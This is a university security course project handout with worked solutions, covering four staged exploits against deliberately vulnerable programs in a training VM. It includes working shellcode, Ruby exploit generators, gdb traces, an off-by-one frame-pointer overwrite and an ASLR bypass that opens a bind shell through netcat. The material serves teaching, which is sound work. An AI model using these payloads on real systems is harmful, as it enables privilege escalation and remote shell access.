Paxson
Spring 2017

CS 161 Computer Security

Project 1

Question 1 ***Behind the Scenes*** **(40 points)**

A tweet from Neo assures you that given its hasty development by poorly educated programmers, Calnet's components contain a number of memory-safety vulnerabilities. In the VM that Neo provided, you will find the first code piece located in the directory `/home/vsftpd`.[1]

You are to continue his work and write an exploit that spawns a shell, for which you can use the following shellcode:

```
shellcode =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" +
  "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" +
  "\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
```

NOTE: Recall that x86 has little-endian byte order, e.g., the first four bytes of the above shellcode will appear as `0x895e1feb` in the debugger.

Neo already provided an exploit scaffold that takes your malicious buffer and feeds it to the vulnerable program via a script called `exploit`:

```
#!/bin/sh
( ./egg ; cat ) | invoke dejavu
```

(As one of Neo's tweets explains in a concise but strikingly lucid fashion, the expression before the shell pipe is necessary so that if the attack input generated by `egg` succeeds, then you will be able to interact with the shell that the exploit spawns by typing via *stdin*. Be aware that when the shell spawns there will not be any immediate visual feedback, such as a prompt. To test whether the exploit worked, try running a command such as `ls` or `whoami`. To exit the shell, type ctrl-d.)

To get started, read "Smashing The Stack For Fun And Profit" by AlephOne [1]. Neo recommended that you try to absorb the high-level concepts of exploiting stack overflows rather than every single line of assembly. He also warned you that some of the example codes are outdated and may not work as-is.

Once you have a shell running with the privileges of user `smith`, run the command `cat README` to learn `smith`'s password for the next problem.

[1] The vulnerable binary has the *setuid* bit set and is owned by the user of the next stage, meaning it will run with the effective privileges of user `smith`.

Solution:

Inspecting the C source, we observe use of `gets`—always unsafe! We then fire up the debugger via `invoke -d dejavu` and set a breakpoint at line 8. After running the executable and entering some dummy values, we inspect the memory and RIP:

```
(gdb) x/16x door
0xbffffbf8:  0x41414141  0xb7e5f200  0xb7fed270  0x00000000
0xbffffc08:  0xbffffc18  0x0804842a  0x08048440  0x00000000
0xbffffc18:  0x00000000  0xb7e454d3  0x00000001  0xbffffcb4
0xbffffc28:  0xbffffcbc  0xb7fdc858  0x00000000  0xbffffc1c
(gdb) i f
Stack frame at 0xbffffc10:
 eip = 0x804841d in deja_vu (dejavu.c:8); saved eip 0x804842a
 called by frame at 0xbffffc20
 source language c.
 Arglist at 0xbffffc08, args:
 Locals at 0xbffffc08, Previous frame's sp is 0xbffffc10
 Saved registers:
  ebp at 0xbffffc08, eip at 0xbffffc0c
```

The shellcode Neo provided terminates with a NUL byte, so our strategy is to pad the exploit, overwrite the RIP, and then insert the shellcode. Since the buffer begins at `0xbffffbf8` and the RIP sits at `0xbffffc0c`, we need to add 20 bytes of padding, then inject the new RIP pointing to the following memory region.

It turns out we're in luck: the last byte of the new jump target, `0xbffffc0c + 4 = 0xbffffc10`, does not end with NUL byte, so we can directly place the shellcode after the new RIP. (If the last byte of the new RIP had been NUL, the string read from standard input would terminate at that NUL byte. We could work around this potential problem by adding 4 bytes to the RIP and then displace the shellcode by 4 bytes.)

The code below shows the contents of the script `egg`:

```ruby
#!/usr/bin/env ruby

pad = "\xff" * 20
rip = "\x10\xfc\xff\xbf" # little endian
egg = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"\
      "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"\
      "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"\
      "\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

puts(pad + rip + egg)
```

Question 2 *Compromising Further* (40 points)

Calnet uses a sequence of stages to protect intruders from gaining root access. The inept Junior University programmers actually attempted a half-hearted fix to address the overt buffer overflow vulnerability from the previous stage. In this problem you must bypass these mediocre security measures and, again, inject code that spawns a shell.

SSH into the VM again, using the username `smith` and the password you learned in the previous question (the command to run is `ssh -p 2222 smith@127.0.0.1`). In the home directory of this stage, `/home/smith`, you will find a small helper script `generate-file-contents`. This script takes arbitrary input via *stdin* and prints the first 127 bytes to *stdout* in the format that the program `agent-smith` expects (which is an initial byte specifying the length of the input, followed by the input itself):

```
% ./generate-file-contents < anderson.txt
```

Neo realized that this helper script always generates safe files to be used with the buggy `agent-smith` program—but nothing prevents you from instead feeding `agent-smith` an arbitrary file of your choice. In particular, Neo started a script `exploit` representing an initial exploit attempt:

```
#!/bin/sh
./egg > pwnzerized
invoke agent-smith pwnzerized
```

Solution: Upon carefully inspecting the source file, we observe a vulnerability in the function `display`:

```
char msg[128];
int8_t size;
....
size_t n = fread(&size, 1, 1, file);
if (n == 0 || size > 128)
  return;
n = fread(msg, 1, size, file);
```

First, the program reads one byte from the file and stores it into `size`, which is a *signed 8-bit* integer. Setting `size` to a negative value will enable it to slip by the test `size > 128`, but then when passed to `fread()`, `size` will be treated as an *unsigned* value. Negative values converted to unsigned become very large!

Accordingly, the strategy for exploiting this vulnerability involves creating a file with a first byte that has the most-significant bit set to 1. This will cause `size` to take on a negative value, which will bypass the check and perform the subsequent `fread` operation. The second `fread` call will then try to read a very large number of bytes into `msg`. Any bytes beyond the first 128 will lead to a buffer overflow, enabling us to introduce the shellcode, and overwrite the RIP with the shellcode address:

```
#!/usr/bin/env ruby

size = "\xff"
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" \
            "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" \
            "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" \
            "\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
padding = "\x00" * (148 - shellcode.size)
rip = "\x48\xfb\xff\xbf"

puts(size + shellcode + padding + rip)
```

Question 3 ***Deep Infiltration*** **(50 points)**

Calnet is a pernicious and invasive piece of malcode. But Prof. Evil undertook all of his own studies at Junior University, and as such he never really learned how to count without occasionally screwing it up. Find the subtle vulnerability in this code, and inject code that spawns a shell.

Neo, again on top of it, started a scaffold called `exploit` that you can use:

```
#!/bin/sh
invoke -e egg=$(./egg) agent-brown $(./arg)
```

(Note that a shell expression like "`$(foo)`" means "run the command `foo` and substitute its *stdout* output here." So "`egg=$(./egg)`" means "run the command `./egg` and assign the output it generates to the variable `$egg`.")

To solve this problem, you are pretty sure that a cryptic reference in Neo's tweets indicates you'd benefit from reading Section 10 of "ASLR Smack & Laugh Reference" by Tilo Müller [2]. (Although the title suggests that you have to deal with ASLR, you can ignore any ASLR-related content in the paper for this question.)

Hint: The VM will output a line saying "Check out the hint" while running the program if you happen to have set your stack up so that it's difficult to accomplish the exploit with the addresses as they are. In this case, you may want to add bogus environment variables to move the stack around and give yourself enough room to operate.

Solution: This one is challenging! First, we observe that this code:

```
void flip(char *buf, const char *input)
{
  size_t n = strlen(input);
  int i;
  for (i = 0; i < n && i <= 64; ++i)
```

```
    buf[i] = input[i] ^ (1u << 5);

  while (i < 64)
    buf[i++] = '\0';
}
```

flips the 6^{th} bit in a given buffer, effectively changing the case of each character. However, the code has two *different* hard-coded length checks: one that compares `<= 64` and one that compares `< 64`. Since `flip` gets invoked with a 64-byte buffer `buf` from `invoke`, the first incorrect check reflects an off-by-one error: `flip` will write one byte beyond `buf`.

In particular, since the local buffer `buf` exists on the stack, the single-byte overflow gives us just a small toehold for overwriting a portion of the frame pointer: with the right input, we can manipulate the last byte of the saved frame pointer (SFP).

Let's see what happens when we fill the buffer with 64 junk bytes (56 times `'a'`, 4 times `'b'`, and 4 times `'c'`):

```
(gdb) b 21 # Break at the end of invoke
(gdb) r
(gdb) i f
Stack frame at 0xbffffb60:
 eip = 0x804843a in invoke (agent-brown.c:21); saved eip 0x804844d
 called by frame at 0xbffffb88
 source language c.
 Arglist at 0xbffffb58, args:
    in=0xbffffd2d "\212...snip...\240"
 Locals at 0xbffffb58, Previous frame's sp is 0xbffffb60
 Saved registers:
  ebp at 0xbffffb58, eip at 0xbffffb5c
(gdb) x/32x buf
0xbffffb18:  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa
0xbffffb28:  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa
0xbffffb38:  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa  0xaaaaaaaa
0xbffffb48:  0xaaaaaaaa  0xaaaaaaaa  0xbbbbbbbb  0xcccccccc
0xbffffb58:  0xbffffb68  0x0804844d  0xbffffd2d  0x00000005
0xbffffb68:  0xbffffb88  0x08048487  0xbffffd2d  0xb7e5f196
0xbffffb78:  0xb7fd2000  0xbffffba0  0xb7fed270  0xbffffba0
0xbffffb88:  0x00000000  0xb7e454d3  0x080484b0  0x00000000
(gdb) p $ebp
$1 = (void *) 0xbffffb58
(gdb) p $ebp-8
$2 = (void *) 0xbffffb50
```

Right before returning, `%ebp` has the value `0xbffffb58` and we control the last byte due to the off-by-one error. We can exploit such a subtle bug when the *calling function* returns. To this end, we need to change the value of the current SFP such that the parent frame uses a bogus SFP during its epilogue. As a reminder, the epilogue consists of the following instructions:

```
mov %ebp, %esp
pop %ebp
ret
```

Our strategy is to alter the results of the first move instruction by making it use the slightly adjusted value of `%ebp` — in particular, a value that points 8 bytes below where `%ebp` would normally point. In our above example, this would mean pointing to location `0xbffffb50`, where we filled the buffer with `b`'s. The next instruction, `pop %ebp`, just pops this value into `%ebp`, something we don't actually care about; all we need to influence is the operation after it, `ret`, which pops into `%eip`. At this point the stack pointer has the value `0xbffffb54` (thanks to the `pop %ebp`), which is where we placed `c`'s above for illustrative purposes. For our actual attack, we only need to replace those `c`'s with a valid address and then the epilogue will transfer control to that location.

As the exploit script suggests, an environment variable serves well as the location for holding the code to which we will arrange the transfer. The `invoke` wrapper sets an environment variable to the output of the script `egg`. The contents of `egg` are:

```
#!/usr/bin/env ruby

shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" \
            "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" \
            "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" \
            "\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

puts(shellcode)
```

If we inspect the environment in GDB, we see that our egg lands in the second element of the global `environ` array:

```
(gdb) x/s *((char **)environ)
0xbffffd6f:     "PAD=\377\377...snip...\377"...
(gdb) x/s *((char **)environ+1)
0xbfffff94:     "egg=\353\037^\211v...snip...\377/bin/sh"
```

Going back to our exploit buffer, our above analysis indicates we need to write 60 arbitrary bytes (filling the `0xaaaaaaaa`'s), then place the address of our shellcode (at the location marked with `0xbbbbbbbb`), followed by a final byte (the one that the bug allows us to write beyond the buffer) that adjusts the SFP to `%ebp-8`. When constructing this, one final consideration is that `flip` toggles a bit of the input, so we need to construct our input to reverse that operation. Our exploit `arg` thus looks like:

```
#!/usr/bin/env ruby

pad = "\xaa" * 60
egg = "\x9a\xff\xff\xbf"
last = "\x50" # SFP := %ebp - 8
arg = pad + egg + last
flipped = arg.unpack('C*').map { |b| b ^ (1 << 5) }.pack('C*')
puts(flipped)
```

The above Ruby code first assigns the payload to the variable `arg`, in the way we want it to reside in memory. But we still need to account for the bit toggling: to this end we convert the string into an array of bytes using `unpack` and flip the 6^{th} bit of each byte. Finally, we join the array back together into a single string (by calling `pack`) and print it to standard output.

Question 4 *The Last Bastion* (50 points)

To protect the Calnet source from advanced hackers, Prof. Evil's minions persuaded him that he must enable address layout randomization (ASLR) as a final layer of defense for the VM. They assured him that it was inconceivable that anyone even of super-human intelligence would possess the uber-h4x0r skillz required to overcome this. **Once you have started this part of the project ASLR will be enabled on your VM so you'll need to restart your VM if you'd like to go back to the previous parts**. Also note that the account `jz` exists just to emphasize this discontinuity, and you can read the information for `jones` immediately after logging into `jz`'s account.

Yo, Birkland! Your mission, should you choose to accept it, is to bypass the ASLR protection and spawn a shell with root privileges. Full control of the box ... *and thus Calnet itself* awaits you! Neo didn't dare hope you might hack your way this far and this deeply ... but he could never abandon his dream of freedom, and to that end provided an exceedingly cryptic clue in his final tweet that after a caffeine-fueled all-nighter you eventually realize suggests you should consider reading Section 8 of "ASLR Smack & Laugh Reference" by Tilo Müller [2].

One detail Neo *could* figure out for you is that the service to exploit listens locally on TCP port 42000. It turns out that the operating system watches the service and restarts it shortly when it crashes. You have to send the malicious shellcode to that service to successfully complete this task. To perform the exploit, run `exploit`. If you succeed in the exploit, you should see the output `root` on shell command `whoami`.

```
# Linux (x86) TCP shell binding to port 6666.
bind_shell =
```

```
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +
"\x80\x5b\x5e\x52\x68\x02\x00\x1a\x0a\x6a\x10\x51\x50\x89" +
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" +
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" +
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" +
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
```

This should finally suffice to pull off the Final Stage! Somehow you must code up the program `egg` so that Neo's `exploit` script can launch the final, fatal strike:

```
#!/bin/sh
echo "sending exploit"
./egg | nc 127.0.0.1 42000 &
sleep 1
nc 127.0.0.1 6666
```

The freedom of cybercitizens throughout Caltopia rests in your hands ...

Solution:

The memory safety problem for this question occurs in the following code snippet:

```
ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, MSG_WAITALL);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}

void handle(int client)
{
  char buf[BUFSIZE];
  memset(buf, 0, sizeof(buf));
  io(client, BUFSIZE, buf);
}
```

The function `handle` has a fixed-size buffer, but `io` reads in 8 times as much (`n << 3`) as the buffer can handle. The code afterwards has no specific significance.

Now that the machine has ASLR turned on, it is impossible to work with absolute stack addresses because they change with each invocation of the program. But this makes the problem just harder, not infeasible. A key insight here regards the magic constant `58623` (in hex: `0xe4ff`) present in the otherwise absurd-looking function `magic`. This stage requires two key Aha's: (1) `0xffe4` interpreted as an instruction performs an indirect jump through `%esp`, i.e., `jmp *%esp`; (2) on a little-endian machine such as Intel hardware, a data value of 58623 = `0xe4ff` in the source code will be present in memory as an `0xff` byte in the lower location and an `0xe4` byte in the higher location. That is, if we branch to the location of the datum, the processor will retrieve the instruction at that location as `0xffe4` = `jmp *%esp`.

So our first step is to confirm the exact address of this toehold:

```
jones@pwnable:~$ gdb agent-jones
(gdb) disas magic
Dump of assembler code for function magic:
   0x08048604 <+0>:     push   %ebp
   0x08048605 <+1>:     mov    %esp,%ebp
   0x08048607 <+3>:     mov    0xc(%ebp),%eax
   0x0804860a <+6>:     shl    $0x3,%eax
   0x0804860d <+9>:     xor    %eax,0x8(%ebp)
   0x08048610 <+12>:    mov    0x8(%ebp),%eax
   0x08048613 <+15>:    shl    $0x3,%eax
   0x08048616 <+18>:    xor    %eax,0xc(%ebp)
   0x08048619 <+21>:    orl    $0xe4ff,0x8(%ebp)
...
(gdb) x/8xb magic+21
   0x8048619 <magic+21>: 0x81 0x4d 0x08 0xff 0xe4 0x00 0x00 0x8b
(gdb) x/i 0x0804861c
   0x804861c <magic+24>:        jmp    *%esp
```

Let us now turn to the run-time analysis of this program:

```
(gdb) b 41
Breakpoint 1 at 0x8048731: file agent-jones.c, line 41.
(gdb) r 43000
Starting program: /home/jones/agent-jones 43000

Breakpoint 1, handle (client=8) at agent-jones.c:41
41      }
```

Now we compute the distance of the RIP to the beginning of the buffer, because we need to know how many bytes to write before we reach the RIP. Remember, in ASLR-land we need to work with relative address offsets!

```
(gdb) p &buf
$1 = (char (*)[2208]) 0xbfffee80
(gdb) i f
Stack frame at 0xbffff730:
 eip = 0x8048731 in handle (agent-jones.c:41); saved eip 0x80488cc
 called by frame at 0xbffff790
```

```
 source language c.
 Arglist at 0xbffff728, args: client=8
 Locals at 0xbffff728, Previous frame's sp is 0xbffff730
 Saved registers:
  ebx at 0xbffff720, ebp at 0xbffff728, edi at 0xbffff724,
  eip at 0xbffff72c
(gdb) p 0xbffff72c - 0xbfffee80
$2 = 2220
```

The output indicates that we have to span a distance of 2,220 bytes. Given that information, we can now put together our exploit: we pad the buffer with 2,220 bytes and then jump to the location of the indirect branch through `%esp`. This results in the following `egg` script:

```
#!/usr/bin/env ruby

pad = "\xff" * 2220
rip = "\x1c\x86\x04\x08" # address of jmp *%esp instruction

bind_shell =
  "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +
  "\x80\x5b\x5e\x52\x68\x02\x00\x1a\x0a\x6a\x10\x51\x50\x89" +
  "\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd" +
  "\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49" +
  "\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" +
  "\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

puts(pad + rip + bind_shell)
```

Finally, the `exploit` script that pops the root shell looks like this:

```
#!/bin/sh
echo "sending exploit..."
./egg | nc 127.0.0.1 42000 &
sleep 1
echo "connecting to Owned machine..."
nc 127.0.0.1 6666
```

References

[1] Aleph One. Smashing The Stack For Fun And Profit. *Phrack*, 7(49), November 1996. http://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf.

[2] Tilo Müller. ASLR Smack & Laugh Reference. http://www.icir.org/matthias/cs161-sp13/aslr-bypass.pdf, February 2008.